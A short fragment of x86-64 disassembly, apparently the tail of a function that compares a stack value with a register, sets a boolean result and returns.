cmp qword [rsp + 0x38], rax
sete al
jmp 0x180057392
xor al, al
add rsp, 0x20
pop rbx
ret